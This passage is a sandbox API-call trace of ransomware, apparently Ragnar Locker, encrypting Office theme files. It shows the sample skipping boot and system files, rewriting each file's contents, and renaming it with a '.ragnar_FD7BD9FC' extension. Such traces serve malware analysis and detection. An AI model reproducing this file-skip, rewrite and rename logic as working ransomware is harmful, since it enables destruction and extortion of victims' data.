hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.471] CloseHandle (hObject=0x10c) returned 1 [0072.472] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" [0072.472] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.ragnar_FD7BD9FC" [0072.472] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.474] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0072.474] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.474] lstrcpyW (in: lpString1=0x1eab72, lpString2="DEEPBLUE.INF" | out: lpString1="DEEPBLUE.INF") returned="DEEPBLUE.INF" [0072.474] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned=".INF" [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="autorun.inf") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="boot.ini") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="bootfont.bin") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="bootsect.bak") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="bootmgr") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="bootmgr.efi") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="bootmgfw.efi") returned 1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="desktop.ini") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="iconcache.db") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="ntldr") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="ntuser.dat") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="ntuser.dat.log") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="ntuser.ini") returned -1 [0072.474] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="thumbs.db") returned -1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0072.475] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0072.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0072.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.475] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=569) returned 1 [0072.475] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.475] GetProcessHeap () returned 0x580000 [0072.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.475] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.476] VirtualAlloc (lpAddress=0x0, dwSize=0x239, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.476] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x239, lpOverlapped=0x0) returned 1 [0072.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.476] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x239, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.476] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x239, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x239, lpOverlapped=0x0) returned 1 [0072.477] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x239, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.477] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.477] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.477] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.477] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.477] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.477] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.477] GetProcessHeap () returned 0x580000 [0072.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.477] CloseHandle (hObject=0x10c) returned 1 [0072.478] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" [0072.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.ragnar_FD7BD9FC" [0072.478] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.479] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.479] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.479] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0072.479] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned=".GIF" [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0072.479] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0072.479] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0072.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0072.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.480] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3957) returned 1 [0072.480] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.480] GetProcessHeap () returned 0x580000 [0072.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.480] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.517] VirtualAlloc (lpAddress=0x0, dwSize=0xf75, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.517] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.518] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.518] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf75, lpOverlapped=0x0) returned 1 [0072.518] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.518] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf75, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.518] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf75, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf75, lpOverlapped=0x0) returned 1 [0072.518] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf75, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.518] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.518] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.518] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.518] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.519] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.519] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.519] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.519] GetProcessHeap () returned 0x580000 [0072.519] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.519] CloseHandle (hObject=0x10c) returned 1 [0072.522] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" [0072.522] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0072.522] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d6ef120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.523] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.523] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0072.523] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RGNR_FD7BD9FC.txt") returned=".txt" [0072.523] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0072.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.523] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.523] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0072.523] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned=".PNG" [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0072.523] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0072.524] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0072.524] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0072.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0072.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.585] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=33277) returned 1 [0072.585] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.585] GetProcessHeap () returned 0x580000 [0072.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.585] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.587] VirtualAlloc (lpAddress=0x0, dwSize=0x81fd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.587] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.587] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.587] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x81fd, lpOverlapped=0x0) returned 1 [0072.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.589] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.589] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x81fd, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x81fd, lpOverlapped=0x0) returned 1 [0072.589] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.589] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, 